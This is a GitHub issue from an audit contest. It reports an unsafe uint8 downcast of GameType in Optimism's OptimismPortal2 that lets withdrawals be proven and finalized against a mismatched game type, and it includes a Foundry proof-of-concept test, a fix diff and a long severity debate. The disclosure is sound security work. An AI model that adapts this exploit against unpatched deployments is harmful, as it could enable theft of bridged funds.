Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

obront - Incorrect game type can be proven and finalized due to unsafe cast #84

Open
sherlock-admin3 opened this issue Apr 4, 2024 · 50 comments
Labels
Escalation Resolved This issue's escalations have been approved/rejected Has Duplicates A valid issue with 1+ other issues describing the same vulnerability Medium A valid Medium severity issue Reward A payout will be made for this issue Sponsor Confirmed The sponsor acknowledged this issue is valid Will Fix The sponsor confirmed this issue will be fixed

Comments

@sherlock-admin3
Copy link

sherlock-admin3 commented Apr 4, 2024

obront

high

Incorrect game type can be proven and finalized due to unsafe cast

Summary

The gameProxy.gameType().raw() conversions used by OptimismPortal2 in the proving and finalization steps incorrectly casts the gameType to a uint8 instead of a uint32, which causes mismatched game types to be considered equivalent. In the event that a game is exploitable, this can be used to skirt around the off-chain monitoring to finalize an invalid withdrawal.

Vulnerability Detail

Each game can be queried for its gameType, which is compared to the current respectedGameType in the Portal to confirm the game is valid.

GameType is represented as a uint32, allowing numbers up to 2 ** 32 - 1.

type GameType is uint32;

However, when converting the GameType to an integer type in order to perform comparisons in the proving and finalization process, we unsafely downcase to a uint8:

function raw(GameType _gametype) internal pure returns (uint8 gametype_) {
    assembly {
        gametype_ := _gametype
    }
}

This means that for any oldGameType % 256 == X, any newGameType % 256 == X will be considered the same game type.

This has the potential to shortcut the safeguards to allow malicious games to be finalized.

As is explained in the comments, only games of the current respectedGameType will be watched by the off-chain challenger. This is why we do not allow games that pre-date the last update to be finalized:

// The game must have been created after respectedGameTypeUpdatedAt. This is to prevent users from creating
// invalid disputes against a deployed game type while the off-chain challenge agents are not watching.

However, the watcher will not be watching games where gameType % 256 == respectedGameType % 256.

Let's imagine a situation where game type 0 has been deemed unsafe. It is well known that a user can force a DEFENDER_WINS state, even when it is not correct.

At a future date, when the current game type is 256, a user creates a game with gameType = 0. It is not watched by the off chain challenger. This game can be used to prove an invalid state, and then finalize their withdrawal, all while not being watched by the off chain monitoring system.

Proof of Concept

The following proof of concept can be added to its own file in test/L1 to demonstrate the vulnerability:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { Test } from "forge-std/Test.sol";
import "./OptimismPortal2.t.sol";

contract UnsafeDowncastTest is CommonTest {
    // Reusable default values for a test withdrawal
    Types.WithdrawalTransaction _defaultTx;
    bytes32 _stateRoot;
    bytes32 _storageRoot;
    bytes32 _outputRoot;
    bytes32 _withdrawalHash;
    bytes[] _withdrawalProof;
    Types.OutputRootProof internal _outputRootProof;

    // Use a constructor to set the storage vars above, so as to minimize the number of ffi calls.
    function setUp() public override {
        super.enableFaultProofs();
        super.setUp();

        _defaultTx = Types.WithdrawalTransaction({
            nonce: 0,
            sender: alice,
            target: bob,
            value: 100,
            gasLimit: 100_000,
            data: hex""
        });
        // Get withdrawal proof data we can use for testing.
        (_stateRoot, _storageRoot, _outputRoot, _withdrawalHash, _withdrawalProof) =
            ffi.getProveWithdrawalTransactionInputs(_defaultTx);

        // Setup a dummy output root proof for reuse.
        _outputRootProof = Types.OutputRootProof({
            version: bytes32(uint256(0)),
            stateRoot: _stateRoot,
            messagePasserStorageRoot: _storageRoot,
            latestBlockhash: bytes32(uint256(0))
        });

        // Fund the portal so that we can withdraw ETH.
        vm.deal(address(optimismPortal2), 0xFFFFFFFF);
    }

    function testWrongGameTypeSucceeds() external {
        // we start with respected gameType == 256
        vm.prank(superchainConfig.guardian());
        optimismPortal2.setRespectedGameType(GameType.wrap(256));

        // create a game with gameType == 0, which we know is exploitable
        FaultDisputeGame game = FaultDisputeGame(
            payable(
                address(
                    disputeGameFactory.create(
                        GameType.wrap(0), Claim.wrap(_outputRoot), abi.encode(uint(0xFF))
                    )
                )
            )
        );

        // proving works, even though gameType is incorrect
        vm.warp(block.timestamp + 1);
        optimismPortal2.proveWithdrawalTransaction({
            _tx: _defaultTx,
            _disputeGameIndex: disputeGameFactory.gameCount() - 1,
            _outputRootProof: _outputRootProof,
            _withdrawalProof: _withdrawalProof
        });

        // warp beyond the game duration and resolve the game
        vm.warp(block.timestamp + 4 days);
        game.resolveClaim(0);
        game.resolve();

        // warp another 4 days so withdrawal can be finalized
        vm.warp(block.timestamp + 4 days);

        // finalizing works, even though gameType is incorrect
        uint beforeBal = bob.balance;
        optimismPortal2.finalizeWithdrawalTransaction(_defaultTx);
        assertEq(bob.balance, beforeBal + 100);
    }
}

Impact

The user is able to prove and finalize their withdrawal against a game that is not being watched and is known to be invalid. This would allow them to prove arbitrary withdrawals and steal all funds in the Portal.

Code Snippet

https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/dispute/lib/LibUDT.sol#L117-L126

https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/L1/OptimismPortal2.sol#L260-L261

https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/L1/OptimismPortal2.sol#L497-L500

Tool used

Manual Review

Recommendation

- function raw(GameType _gametype) internal pure returns (uint8 gametype_) {
+ function raw(GameType _gametype) internal pure returns (uint32 gametype_) {
      assembly {
          gametype_ := _gametype
      }
}
@smartcontracts
Copy link

We see this as a valid medium severity issue

@sherlock-admin4
Copy link

The protocol team fixed this issue in the following PRs/commits:
ethereum-optimism/optimism#10152

@nevillehuang
Copy link
Collaborator

nevillehuang commented Apr 23, 2024

Based on scope highlighted below (issue exists and affects portal contract, which is a non-game contract) and sherlock scoping rules

https://docs.google.com/document/d/1xjvPwAzD2Zxtx8-P6UE69TuoBwtZPbpwf5zBHAvBJBw/edit

  1. In case the vulnerability exists in a library and an in-scope contract uses it and is affected by this bug this is a valid issue.

I believe this is a medium severity issue given the following constraints:

  • At least 256 games must exist in a single game type
  • This issue doesn't bypass the airgap/Delayed WETH safety net, so can still be monitored off-chain to trigger a fallback mechanism to pause the system and update the respected game type if a game resolves incorrectly.

@sherlock-admin3 sherlock-admin3 changed the title Noisy Pewter Woodpecker - Incorrect game type can be proven and finalized due to unsafe cast obront - Incorrect game type can be proven and finalized due to unsafe cast Apr 23, 2024
@sherlock-admin3 sherlock-admin3 added the Reward A payout will be made for this issue label Apr 23, 2024
@zobront
Copy link
Collaborator

zobront commented Apr 23, 2024

Escalate

I believe this issue should be judged as High Severity.

The purpose of this contest was to examine the safeguards that could lead to the catastrophic consequences of having an invalid fault proof accepted. We were given the constraints of assuming the game is buggy. This means that (a) none of those issues were accepted, but also that (b) issues that would arise IF the system were very buggy are valid.

This is the only issue in the contest that poses this extreme risk.

While it has the condition that 255 other games are created, based on the assumption that the game is buggy, it doesn't seem out of the question that a large number of additional game types would need to be deployed. This is the only requirement for this issue to be exploitable (counter to what the judge mentioned above), because Optimism's off chain watcher only watches the currently active game).

More importantly, in the event that this happens, the consequences are catastrophic. A game that is (a) not being watched and (b) known to be buggy, is accepted as valid (both in the proving step of withdrawal and the finalization step of withdrawal).

This leads to a very real, very extreme risk of a fraudulent withdrawal getting through the system.

With the constraints of the contest in mind (assuming the game is buggy), as well as the potential billions of dollars of lost funds that could occur, I believe this is the exact kind of issue that was crucial to find, and clearly fits the criteria for High Severity.

@sherlock-admin2
Copy link
Contributor

sherlock-admin2 commented Apr 23, 2024

Escalate

I believe this issue should be judged as High Severity.

The purpose of this contest was to examine the safeguards that could lead to the catastrophic consequences of having an invalid fault proof accepted. We were given the constraints of assuming the game is buggy. This means that (a) none of those issues were accepted, but also that (b) issues that would arise IF the system were very buggy are valid.

This is the only issue in the contest that poses this extreme risk.

While it has the condition that 255 other games are created, based on the assumption that the game is buggy, it doesn't seem out of the question that a large number of additional game types would need to be deployed. This is the only requirement for this issue to be exploitable (counter to what the judge mentioned above), because Optimism's off chain watcher only watches the currently active game).

More importantly, in the event that this happens, the consequences are catastrophic. A game that is (a) not being watched and (b) known to be buggy, is accepted as valid (both in the proving step of withdrawal and the finalization step of withdrawal).

This leads to a very real, very extreme risk of a fraudulent withdrawal getting through the system.

With the constraints of the contest in mind (assuming the game is buggy), as well as the potential billions of dollars of lost funds that could occur, I believe this is the exact kind of issue that was crucial to find, and clearly fits the criteria for High Severity.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

@sherlock-admin3 sherlock-admin3 added the Escalated This issue contains a pending escalation label Apr 23, 2024
@guhu95
Copy link

guhu95 commented Apr 24, 2024

Three additional points to support the escalation in favor of high:

  1. There isn't a constraint of 256 prior games due to use of non-sequential game types.
  2. DoS impact that is caused by the mitigation actions qualifies for high severity.
  3. Off-chain monitoring for this issue is not plausible without prior knowledge of the issue.

1. Games types are not sequential

"- At least 256 games must exist in a single game type"

"While it has the condition that 255 other games are created"

This appears to be neither a constraint nor a condition:

  1. setImplementation does not require sequential game type values.
  2. The 3 already defined GameTypes are not sequential: 0, 1, and 255, and all are configured in the same factory during deployment.
  3. The further use of non-sequential game types is highly likely due to "namespacing" via higher order bits, as is already done with predeploy addresses (0x42...01), and with their implementation addresses (0xc0de...01) etc. This kind of namespacing will result in many exploitable collisions.

2. The DoS impact of mitigation qualifies as high

...to pause the system and update the respected game type if a game resolves incorrectly.

Switching the respected game type pauses the bridge for a significant amount of time qualifying as a DoS issue for the valid withdrawals delayed by the mitigation.

The DoS impact for a valid withdrawal that would otherwise be finalizable is well over one week:

  1. Off-chain monitoring needs to detect the suspicious WithdrawalProven that was not expected. The issue needs to be validated to require pausing (SLA of 24 hours).
  2. A new implementation of the dispute game, with a new game type value, and the new anchor registry (which are immutable) will need to be deployed.
  3. The factory will need to be updated by the owner (SLA of 72 hours) to include the new implementation.
  4. The respected game type for the portal would need to be updated by guardian (SLA of 24 hours).
  5. New dispute games will need to be created by proposers for the withdrawals backlog caused by the delays.
  6. Only after all these steps the re-proving for previously valid withdrawals for previously valid games can be restarted, and would require waiting at least 7 days from the point of unpausing.

Because this blocks all cross-chain interactions on the bridge for a prolonged period of time, and delays message passing, it blocks all cross-chain protocols operating across this bridge (including their time-sensitive operations) and not only locks up funds.

3. Off-chain monitoring is conditional on knowing of this issue

  • This issue doesn't bypass the airgap/Delayed WETH safety net, so can still be monitored off-chain to trigger a fallback mechanism

While it is theoretically possible to monitor for this off-chain, it is unlikely to result in this action without knowledge of this vulnerability. This is because a creation of new instance of an old game, that is no longer "respected" by the portal, should not raise cause for concern (if the issue is unknown at that point).

@trust1995
Copy link
Collaborator

Escalate

Firstly, the finding is brilliant and extremely well noticed by the participants. In my mind, the finding falls under Low severity, with the reasoning below:

  • As far as devs are concerned, there are a maximum of 256 game types. The bug is an unsynchronized view between the underlying structure and the definition of GameType as uint32. All evidence points to the fact Optimism did not plan to make use of over 256 game types.
  • From a practical standpoint, even if over 256 game types were planned to be supported, to get to such a high amount of different game types is extremely unlikely (as of now, three are planned). The odds of the architecture not getting refactored, closing the issue, by the time 256 game types are needed, I estimate to be under a thousandth of a percent.
  • For there to be an impact, the following must hold:
  • A new, vulnerable game type must be defined (highly hypothetical) after 256 game types.
  • It's encoding suffix must line up with the respectedGameId set by the admin
  • All honest challengers must not look at the vulnerable game type, despite the fact that challenging it is +EV (they are guaranteed to pick up the attacker's bond if the claim is invalid)
  • The airgap is not bypassed - At any the guardian is able to blacklist the game and make it unfinalizable. This reason caused for dozens of issues in this contest to be invalidated, and not applying it for this bug is inconsistent and shows unsound logic.

@sherlock-admin2
Copy link
Contributor

Escalate

Firstly, the finding is brilliant and extremely well noticed by the participants. In my mind, the finding falls under Low severity, with the reasoning below:

  • As far as devs are concerned, there are a maximum of 256 game types. The bug is an unsynchronized view between the underlying structure and the definition of GameType as uint32. All evidence points to the fact Optimism did not plan to make use of over 256 game types.
  • From a practical standpoint, even if over 256 game types were planned to be supported, to get to such a high amount of different game types is extremely unlikely (as of now, three are planned). The odds of the architecture not getting refactored, closing the issue, by the time 256 game types are needed, I estimate to be under a thousandth of a percent.
  • For there to be an impact, the following must hold:
  • A new, vulnerable game type must be defined (highly hypothetical) after 256 game types.
  • It's encoding suffix must line up with the respectedGameId set by the admin
  • All honest challengers must not look at the vulnerable game type, despite the fact that challenging it is +EV (they are guaranteed to pick up the attacker's bond if the claim is invalid)
  • The airgap is not bypassed - At any the guardian is able to blacklist the game and make it unfinalizable. This reason caused for dozens of issues in this contest to be invalidated, and not applying it for this bug is inconsistent and shows unsound logic.

The escalation could not be created because you are not exceeding the escalation threshold.

You can view the required number of additional valid issues/judging contest payouts in your Profile page,
in the Sherlock webapp.

@guhu95
Copy link

guhu95 commented Apr 24, 2024

@trust1995 the main argument you present (sequential game types constraint on likelihood) is refuted by the evidence in my message above yours (see "1. Games types are not sequential")

Would you mind specifying what part of the reasoning or evidence you agree and disagree with?

There are more details and links above, but for your convenience these are: 1. Setter doesn't require sequential numbers. 2. The three existing games are non-sequential (1, 2, 255) and are all added to the factory on deployment. 3. Namespacing via higher bits is already prevalent in the codebase and makes this a highly probable scenario.

@trust1995
Copy link
Collaborator

The game types defined below follow a common pattern where the upper value is set as a placeholder for a safe non-production value. It's clearly not meant to assume they do skipping as a policy, and any experienced developer can confirm the intention is to keep running from 0,1, up to 255.

library GameTypes {
    /// @dev A dispute game type the uses the cannon vm.
    GameType internal constant CANNON = GameType.wrap(0);
    /// @dev A permissioned dispute game type the uses the cannon vm.
    GameType internal constant PERMISSIONED_CANNON = GameType.wrap(1);
    /// @notice A dispute game type that uses an alphabet vm.
    ///         Not intended for production use.
    GameType internal constant ALPHABET = GameType.wrap(255);
}

This is further confirmed by their docs which outline the intended structure of the GameID:

/// @notice A `GameId` represents a packed 1 byte game ID, an 11 byte timestamp, and a 20 byte address.
/// @dev The packed layout of this type is as follows:
/// ┌───────────┬───────────┐
/// │   Bits    │   Value   │
/// ├───────────┼───────────┤
/// │ [0, 8)    │ Game Type │
/// │ [8, 96)   │ Timestamp │
/// │ [96, 256) │ Address   │
/// └───────────┴───────────┘

It's very hard to look at these points of evidence and think there is any intention to have more than 256 game types to be played. I realize the issue will be heavily debated since a lot of money is on the line, so throwing this quote which summarizes escalations in a nutshell:

“It is difficult to get a man to understand something, when his salary depends on his not understanding it.” - Upton Sinclair

@guhu95
Copy link

guhu95 commented Apr 26, 2024

the fact Optimism did not plan to make use of over 256 game types

any intention to have more than 256 game types to be played

the intention is to keep running from 0,1, up to 255

The project clearly decided (before this contest) that game types values higher than 256 are needed. This is easy to see in these facts:

  1. They've previously (in Jan) refactored GameType from uint8 to uint32, leaving no room for doubt on this aspect.
  2. They've fixed the vulnerability as recommended instead of switching back to uint8.
  3. They've accepted the finding as valid.

The team's intention (and explicit previous switch) to use uint32 over uint8 clearly shows the likelihood of using game types with values > 255. This removes this incorrectly considered constraint.

This finding justifies high severity for both the unconditionally broken key safety mechanism of respectedGameType allowing forged withdrawals, and the prolonged bridge DoS which would result from its mitigation.

@MightyFox3
Copy link

Issues predicted to arise from future integrations or updates, which aren't documented in the current documentation or README, are not considered valid. For instance, although the audit currently includes only three game types, even if the number were to exceed 255 in future implementations, such scenarios are categorized under future integrations.

Future issues: Issues that result out of a future integration/implementation that was not mentioned in the docs/README or because of a future change in the code (as a fix to another issue) are not valid issues.

Referencing the Optimism official dispute game documents, the game type is clearly defined as a uint8. This definition does not suggest any future expansion beyond 255 game types, thereby rendering any inconsistencies between the code and documents as minor and of low severity.

@bemic

This comment was marked as off-topic.

@trust1995

This comment was marked as off-topic.

@bemic
Copy link

bemic commented Apr 26, 2024

Pardon, let me clarify.

I do not find the argument "future integration/implementation/code change" to be related. The problem stems from the current state of the codebase, where no changes are necessary.

As mentioned, few months ago the team made a very specific change to the code using a PR called "Bump GameType size to 32 bits", where they changed the type from uint8 to uint32. This clearly indicates that a number > 255 is expected.

It is important to note again, that this does not necessarily mean more than 255 games. Larger type can be used to encode different game types more categorically.

You correctly pointed out that the documentation contains uint8. However, the documentation cannot be taken as a source of truth in cases like this one. Otherwise, projects can describe the correct and expected behavior in their documentation and use the argument "inconsistencies between code and documentation" as a reason to mark every problem as Low.

@guhu95
Copy link

guhu95 commented Apr 27, 2024

Regarding:

Issues predicted to arise from future integrations or updates, which aren't documented in the current documentation or README, are not considered valid.

First, the game type is an argument of the both the game and the factory, so can have any value depending on usage - so all uint32's possible 4294967296 values are fully in scope, and not only the specific 3 values. It's uint32, not an enum.

Second, even if it was an enum, in this case the README explicitly allows "future integrations issues" for OptimismPortal2:

Should potential issues, like broken assumptions about function behavior, be reported if they could pose risks in future integrations, even if they might not be an issue in the context of the scope? If yes, can you elaborate on properties/invariants that should hold?
Yes, but this should be limited to the OptimismPortal2 contract. Contracts other than the OptimismPortal2 contract are not intended for external integrations and risks for future integrations into these contracts will likely not be considered valid.

@trust1995
Copy link
Collaborator

You correctly pointed out that the documentation contains uint8. However, the documentation cannot be taken as a source of truth in cases like this one. Otherwise, projects can describe the correct and expected behavior in their documentation and use the argument "inconsistencies between code and documentation" as a reason to mark every problem as Low.

We've seen two strong points of evidence for source of truth - the in-code documentation of GameType and the docs page. On the other hand we see a commit bumping GameType to uint32, without adding any game types. It seems speculative to infer they plan to use larger values, contest rules state we need to give project the assumption of competence in cases like these. For impact to occur, the following has to occur:

  • Optimism must intend to creative game types of uint8
  • Future audits of the codebase with the new game type must miss a bug that is directly in scope
  • The issue must be missed by the extremely detailed test suite ran by Optimism
  • The mismatched game type (the phantom game) must not be tracked, or must have a second unrelated vulnerability allowing to use it for proofs
  • Finally the air-gap protections must be bypassed, a fact which reduced to Low many other submissions.

First, the game type is an argument of the both the game and the factory, so can have any value depending on usage - so all uint32's possible 4294967296 values are fully in scope, and not only the specific 3 values. It's uint32, not an enum.

Nope, not anything that can be misconfigured by an admin can be viewed as in-scope. That's an indefensible statement which, if correct, would inflate any contest by dozens of useless findings.

@nevillehuang
Copy link
Collaborator

  1. It is not impossible to ever reach over 255 gametypes, given any possible incorrect resolution logic will also force a game type upgrade, however I believe the likelihood is low. Since the root cause is in a non-game contract, based on agreed upon scope and low likelihood, I believe medium severity is appropriate, as no safety mechanism is bypassed.

  1. I don't think we can assume the behavior of off-chain mechanisms here that act as a safety mechanism, since it is explicitly mentioned as out of scope and that such scenarios will always be monitored comprehensively.

Off-chain mechanisms exist as part of the system but are not in scope for this competition. Assume that comprehensive monitoring exists that will detect most obviously detectable malicious activity.

@zobront
Copy link
Collaborator

zobront commented Apr 29, 2024

@nevillehuang Making sure you've seen this comment from OptimismPortal2:

// The game must have been created after respectedGameTypeUpdatedAt. This is to prevent users from creating
// invalid disputes against a deployed game type while the off-chain challenge agents are not watching.

You should check with the Optimism team about this if you're unclear. This situation is explicitly not being watched, and therefore is the exact kind of bypass this whole contest was designed to detect.

If they agree that this bypasses the safety mechanism, I can't see how this could be anything except High Severity.

@guhu95
Copy link

guhu95 commented Apr 29, 2024

@nevillehuang in addition to the above consideration of off-chain watchers, please also consider the DoS impact of mitigation described above in #84 (comment).

I am no expert on Sherlock rules, but to me the DoS impact appears to also qualify for high severity.

@nevillehuang
Copy link
Collaborator

@guhu95

This depends on 255 distinct unique gametype, NOT 255 FDG games of the same type. My understanding is that to reach this point, an additional 250+ game types must have been introduced from new game types or game type switches (such as due to resolution bug logic or any other game bug). The assumptions of sequential/non-sequential gaming Ids can go both ways.

I think the severity here comes down to whether or not the off-chain watching mechanism is bypassed, which seems to be so as indicated by code comments here implying so. There is conflicting statements per contest details stated here, that states off-chain mechanisms are out of scope and is assumed to be comprehensive enough. If the off-chain mechanism is confirmed to be bypassed, then I agree with high severity.

@guhu95
Copy link

guhu95 commented May 2, 2024

@nevillehuang

This depends on 255 distinct unique gametype

My understanding is that to reach this point, an additional 250+ game types must have been introduced

Please help me understand why all of 2..254 must be assumed to be used before using any of the 256..4294967295 values.

  1. There's no requirement in the code for sequential game types.
  2. The existing code deploys the factory with 3 types that are already non sequential: 0, 1, 255.
  3. A value like 0x4200, 0x1000 or 0x42000001, can be the very next game type to be used. Such semantic "versioning" or "namespacing" is both highly practical (reduces chances of errors) and already common (OP predeploys, chainIds, opcodes).
  4. If "using up" all first 256 games types would be the anticipated approach, there would be little need to deliberately switch from uint8 to uint32.

Using all of 0..255 before ever touching the 256..4294967295 range seems like the least likely scenario. It's like having a huge fridge, but insisting to keep cramming everything into it's tiniest compartment (of just 0.0000059% of available space).

@nevillehuang
Copy link
Collaborator

@guhu95 I can see your point, I just believe it has no relevance to considering the issues severity, and that the focus should be on whether the safety mechanisms are bypassed or not.

@trust1995
Copy link
Collaborator

I think the severity here comes down to whether or not the off-chain watching mechanism is bypassed, which seems to be so as indicated by code comments here implying so. There is conflicting statements per contest details stated here, that states off-chain mechanisms are out of scope and is assumed to be comprehensive enough. If the off-chain mechanism is confirmed to be bypassed, then I agree with high severity.

The statements are not conflicting. The rules state very clearly that off-chain monitoring is OOS and assumed trustable. Airgaps must therefore come from the code itself. The comment linked to explains an added validation step in the code, which is not bypassed. I would appreciate answers to the detailed arguments raised here.

@0xjuaan

This comment was marked as resolved.

@bemic
Copy link

bemic commented May 2, 2024

.. gameId will only be represented by 1 byte (the first 8 bits of the uint32).
.. casting from uint32 to uint8 is a safe and correct way to obtain the gameId.

I see one fact wrong in your comment @0xjuaan.
GameId is bytes32 (256 bits) not uint32 (32 bits). The casting is performed on GameType which is uint32.

We can see in the PR with the fix that casting and this part of in-code documentation was updated:

[0, 32) Game Type 
[32, 96) Timestamp 

@0xjuaan
Copy link

0xjuaan commented May 2, 2024

Oh ok yeah that makes sense (I got GameId and GameType mixed up). This is a great finding in that case!

thanks @bemic for clarifying

@guhu95
Copy link

guhu95 commented May 2, 2024

@nevillehuang the last part of that README sentence is important for this discussion:

Assume that comprehensive monitoring exists that will detect most obviously detectable malicious activity.

I understand "most obviously detectable" to mean that monitoring should be assumed thorough and reasonably scoped, but NOT all-seeing and all-validating.

This "most obviously detectable" also resolves the conflict with the "while the off-chain challenge agents are not watching" comment. It presumes "blindspots", like monitoring "all games all the time", that require on-chain logic, which was the focus of the contest, and which this bug thoroughly breaks.

To me this bug's impact is highly non-obvious and so has an unacceptable risk of bypassing the safety measures.

@Evert0x
Copy link

Evert0x commented May 2, 2024

Let me state some of the facts that this discussion highlighted

IF the game types are sequential, 250+ new game types must be created before the bug gets triggered.
ELSE, the game types are not sequential; the bug could trigger when the next game type is created.

In both scenarios, the bug is only activated by a specific external condition, introducing new game type(s). This trigger condition is why I believe Medium severity should be assigned.


Also, for the record

At the time of the audit, the following information was NOT KNOWN:

  • If the team intends to deploy 250+ new game types
  • If the new game types are going to be deployed in a sequential way

The following information was KNOWN

  • The three defined game types are 0, 1, and 255

@zobront
Copy link
Collaborator

zobront commented May 2, 2024

@Evert0x I'm not sure how you think about likelihood vs severity, but for what it's worth, I see this as:

  1. Agree that it's not extremely likely. I agree with @guhu95 that it is a clear possibility based on the Optimism team's actions, but clearly isn't something that would immediately be vulnerable.

  2. But the purpose of this contest is to make sure the safeguards are solid against all possible risks with the games, and all the external conditions required for this to happen would come from games having issues. If this contest said "assume games can be exploited" (which is what disqualified so many other issues), that is the only assumption needed for this to be vulnerable.

  3. The outcome is not just "bad" but catastrophic: all $1.2 billion ETH could be stolen from the OptimismPortal (not including ERC20s in the Optimism bridge, plus all assets bridged to Base, Blast, etc if they follow this upgrade).

@trust1995
Copy link
Collaborator

trust1995 commented May 2, 2024

  1. If this contest said "assume games can be exploited" (which is what disqualified so many other issues), that is the only assumption needed for this to be vulnerable.

Yet at the same breath, you don't bypass the airgap, which disqualified so many other issues. Yes you can make the argument that off-chain setups would not necessarily detect it, but I think that's a diversion tactic because since the dawn of security contests the scope was strictly on-chain security, which remains intact.

@zobront
Copy link
Collaborator

zobront commented May 2, 2024 via email

@guhu95

This comment was marked as duplicate.

@Evert0x
Copy link

Evert0x commented May 3, 2024

IV. How to identify a high issue:

  1. Definite loss of funds without (extensive) limitations of external conditions.

This is the requirement for high. It's clear that this issue requires external conditions to materialize.

I don't disagree with the points you listed, but I don't see it as an argument to assign High Severity.

@zobront
Copy link
Collaborator

zobront commented May 3, 2024

@Evert0x Just to make sure I understand your point: In a contest where the explicit instructions were to assume that games could be broken, where any time a game is broken it must be incremented by at least 1, you think it's a "extensive" limitation that 256 games are reached?

I'm not valuing the fact that the hack is in the billions of dollars at all (which obviously should be weighted), but just on the definition above, I'm not positive I understand your disagreement?

@guhu95
Copy link

guhu95 commented May 5, 2024

@Evert0x

I don't disagree with the points you listed, but I don't see it as an argument to assign High Severity.

Thanks for recognizing my arguments. However, if you do agree with that reasoning, it directly leads to these conclusions: 1) game types will definitely be updated; 2) they definitely be updated such that the issue will happen after only a handful of updates (between 1 and "a few"):

  • Even if we assume that game type will be updated initially once a month.
  • And the update increment is either +1 with 50%, or bump to new version with 50%.
  • It means that the probability of the bug is 50% after one month, 75% after two months, ... 99.975% after one year.
    Such probabilities cannot be "extensive limitations", and instead are "nearly certain".

One may choose a different P(jump) and different bumps-in-first-year , but with 1 - [1 - P(jump)]^(bumps-in-first-year) it's very difficult to justify numbers that will result in anything corresponding to "extensive limitation".


This not even considering that this can affect the OP stack (and not just Optimism), so affects up to already 19 (!?) rollups in its first year (with ~19B TVL). This multiplies the probability by the number of OP Stack rollups using this system.

@nevillehuang
Copy link
Collaborator

This is information from the op handbook

Off-chain monitoring can observe FaultDisputeGame contract resolutions and trigger a fallback mechanism to pause the system and update the respected game type if a game resolves incorrectly.

The issue here is highlighting a possible bypass in the off-chain monitoring mentioned above because of a code comment highlighted of how it is presumably supposed to work. But the contest details stated it is OOS.

Off-chain mechanisms exist as part of the system but are not in scope for this competition.

My opinion is since there is still an issue arising from an inscope root cause that results in incorrect resolution and thus finalization of withdrawals but off-chain monitoring mechanism is assumed to be comprehensive and not be bypassed, medium severity is appropriate since no airgap/safety mechanism is assumed to be breached

@zobront
Copy link
Collaborator

zobront commented May 7, 2024

@nevillehuang I would agree with this if the issue discovered was in the off chain mechanisms (ie if the issue highlighted a fix that should be made to the offchain mechanisms).

But that is not the case. The off chain piece behaves perfectly appropriately and exactly as documented. I am pointing out no fault in that part of the system.

What I am pointing out is that as a result of this CORRECT behavior, the on chain contract is highly vulnerable (airgap bypassed).

off-chain monitoring mechanism is assumed to be comprehensive

I don't think this is right. When a part of the system is marked as out of scope, it means it is assumed to act correctly and according to its specifications. It doesn't mean it is assumed to magically act in ways that it actually doesn't to save the day when the in scope system has an error.

@nevillehuang
Copy link
Collaborator

nevillehuang commented May 7, 2024

@zobront How would the airgap be bypassed when the off-chain monitoring is presumed to have caught the incorrect resolution, where like you mentioned it means the off-chain monitoring mechanism is assumed to have acted correctly and according to its specifications?

@guhu95
Copy link

guhu95 commented May 7, 2024

The full scope quote is this (emphasis mine):

Assume that comprehensive monitoring exists that will detect MOST OBVIOUSLY detectable malicious activity.

It's "specification" is not that it will catch anything and everything.

I this case, it will likely NOT be monitoring the games that are NO LONGER being used, since this is obviously not needed. Proving a withdrawal using a game that is no longer being used being the root cause of the issue here.

This is further supported by this code comment that assumes games that are not currently being used are not being monitored.

// The game must have been created after respectedGameTypeUpdatedAt. This is to prevent users from creating
// invalid disputes against a deployed game type while the off-chain challenge agents are not watching.

@zobront
Copy link
Collaborator

zobront commented May 7, 2024 via email

@trust1995
Copy link
Collaborator

Discussing an airgap in an off-chain context is useless once those components were defined as OOS. The only source of truth for airgap / not an airgap is the on-chain state.

This discussion is orthogonal to the 256 game requirement, which by itself is an extensive limitation.

@guhu95
Copy link

guhu95 commented May 8, 2024

@nevillehuang

How would the airgap be bypassed when the off-chain monitoring is presumed to have caught the incorrect resolution

The resolution of the OTHER game may be fully correct according to that game's implementation. It is another game entirely, so:

  • it could be an older version of the game that is vulnerable - which is why it's no longer used. And this is also why this game won't be monitored - it makes no sense to challange if it's buggy.
  • it could be the permissioned version (as shown, the permissioned one is added to the factory on deployment).
  • it could be the alphabet testing game (which is added to the factory on deployment). no reason to monitor this one
  • it could be a game used by a different OP stack rollup, proving withdrawals for it, that would allow fully correct resolutions of the game to be used to replay withdrawal from that other rollup in Optimism.
  • ...

The assumption that the OTHER game is possible to challange because it's resolved incorrectly is not needed here. A just as likely scenario is that the OTHER game is resolved correctly, but the bridge MUST NOT be using it.

@Evert0x
Copy link

Evert0x commented May 8, 2024

Although for a different reason, I believe it's right to assign Medium as well.

High is reserved for unrestricted losses. Watsons were to assume that the game's resolution logic was broken, not that game types were added regularly.

I still believe it's an extensive limitation for a new game type to get (created, audited, and) deployed with a specific ID, as that's the trigger that can potentially cause this catastrophic bug.

@guhu95
Copy link

guhu95 commented May 8, 2024

Watsons were to assume that the game's resolution logic was broken, not that game types were added regularly.

@Evert0x
But a broken game is resolved by updating the game type. Doesn't the assumption "the game's resolution logic is broken" unavoidably and directly includes the assumption of updating the game type?

How can there be an extensive limitation if one thing directly causes the other?

@Evert0x
Copy link

Evert0x commented May 9, 2024

Result:
Medium
Has Duplicates


@guhu95 assuming "the game's resolution logic is broken" and assuming "the team will continuously deploy new game types" are two different things.

@sherlock-admin2 sherlock-admin2 removed the Escalated This issue contains a pending escalation label May 9, 2024
@sherlock-admin3 sherlock-admin3 added the Escalation Resolved This issue's escalations have been approved/rejected label May 9, 2024
@sherlock-admin4
Copy link

Escalations have been resolved successfully!

Escalation status:

@guhu95
Copy link

guhu95 commented May 9, 2024

@Evert0x your response:

@guhu95 assuming "the game's resolution logic is broken" and assuming "the team will continuously deploy new game types" are two different things.

Did not answer either of the specific questions I've asked.

Doesn't the assumption "the game's resolution logic is broken" unavoidably and directly includes the assumption of updating the game type?

How can there be an extensive limitation if one thing directly causes the other?


